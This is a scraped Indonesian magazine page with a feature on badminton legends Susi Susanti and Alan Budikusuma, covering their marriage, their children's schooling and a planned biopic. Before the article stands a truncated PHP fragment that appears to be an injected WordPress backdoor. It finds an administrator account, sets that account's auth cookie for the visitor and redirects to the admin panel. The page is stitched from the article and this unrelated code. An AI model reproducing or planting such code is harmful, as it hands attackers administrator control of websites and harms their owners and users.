user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
True Story
Dua Dekade Pasangan Emas Susi Susanti - Alan Budikusuma

7 Oct 2018



Butuh Komitmen

Apakah pasangan ini sudah puas? Ternyata, masih banyak mimpi yang ingin mereka raih dalam fase hidup mereka kini. Dalam hal membesarkan anak-anak misalnya, pasangan yang meraih penghargaan Bintang Jasa dari pemerintah Republik Indonesia --karena berjasa luar biasa terhadap nusa dan bangsa pada bidang atau peristiwa atau hal tertentu di luar bidang militer-- ini punya prinsip yang sama. Keduanya tak ingin anak mereka terjun sebagai atlet.

“Tak dipungkiri, hingga saat ini kehidupan sebagai atlet di Indonesia terbilang belum menjanjikan. Benar-benar harus jadi juara dulu untuk bisa berhasil. Padahal, juara itu hanya satu dari ribuan orang. Seorang atlet harus memiliki target, komitmen, dan memiliki kemauan kuat untuk menang,” kata Susi, tegas.

Hal tersebut tidak ia lihat dalam diri anak-anaknya. “Mereka punya bakat. Tapi, bakat saja tidak cukup, kalau niat mereka untuk jadi atlet masih on off. Tidak bisa setengah-setengah, karena tidak akan ke mana-mana jadinya,” jelas Susi, yang bersama Alan menanamkan hal-hal positif seorang atlet kepada anak-anaknya, seperti memiliki target dan usaha untuk mencapainya, hingga yang terpenting soal sportivitas.

Kini yang mereka kejar untuk ketiga anaknya adalah menyekolahkan mereka setinggi-tingginya. Demi meraih hal tersebut, Susi dan Alan harus rela berjauhan dengan kedua anaknya yang sekolah di Eropa dan Australia. “Yang bungsu rencananya akan menyusul kakaknya ke Australia tahun ini,” kata Susi.

Kasih sayang dan komitmen diakui Susi dan Alan menjadi landasan hubungan mereka untuk bertahan. Ibarat pertandingan bulu tangkis, seorang atlet yang berada di tengah pertandingan harus dapat menjaga semangat, menghilangkan rasa bosan, juga harus rela kehilangan kesenangan pribadinya untuk sebuah tujuan.

Advertisement
“Di rumah, kami pasangan suami-istri, tapi di luar rumah, kami bisa menjadi teman, juga rekan bisnis. Semua peran tersebut menghilangkan rasa bosan dalam hubungan ini,” ungkap Susi.

Prinsip keduanya, keluarga adalah prioritas. Layaknya pernikahan, ketika masalah datang dan memicu pertengkaran, maka yang menjadi solusi adalah bagaimana pertengkaran tersebut tidak berdampak pada anak-anak. Bukan lagi ego pribadi orang tua. Walaupun diakui Susi, terbiasa tumbuh dengan mental atlet yang cenderung enggak mau kalah, komunikasi menjadi hal penting dalam hubungan mereka.

“Tidak bisa kalau diam-diam saja, semua harus dibicarakan dengan baik dan jelas. Karena, kalau enggak, ujung-ujungnya bisa miskom dan berantem,” kata Susi.

Kebersamaan juga menjadi cara keduanya menjaga cinta dalam keluarga. “Walaupun sekarang kami dan anak-anak juga tinggal terpisah, saat ada liburan, kami saling kunjung. Ini momen yang selalu kami tunggu,” kata Susi.

Kisah cinta legenda bulu tangkis Indonesia ini belakangan juga dilirik oleh sineas tanah air. Rencananya, tahun ini film biopic tentang hubungan cinta dan prestasi Susi dan Alan segera beredar di layar lebar. Karakter Susi akan diperankan oleh Laura Basuki, sedangkan Dion Wiyoko akan memerankan Alan. Soal film biopic-nya ini, Susi berkomentar singkat, bahwa ia merasa senang dan bangga. (f)

Baca Juga:

Achmad Zacky & Diajeng Lestari, Merawat Cinta dan Membesarkan e-commerce Bersama
Atalia Praratya, Mengimbangi Langkah Gesit dan Cepat Gubernur Jawa Barat, Ridwan Kamil
Kisah Cinta Eko Supriyanto, Koreografer Pesta Pembukaan Asian Games 2018
 

Faunda Liswijayanti


Topic

#truestory, #kisahcinta

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?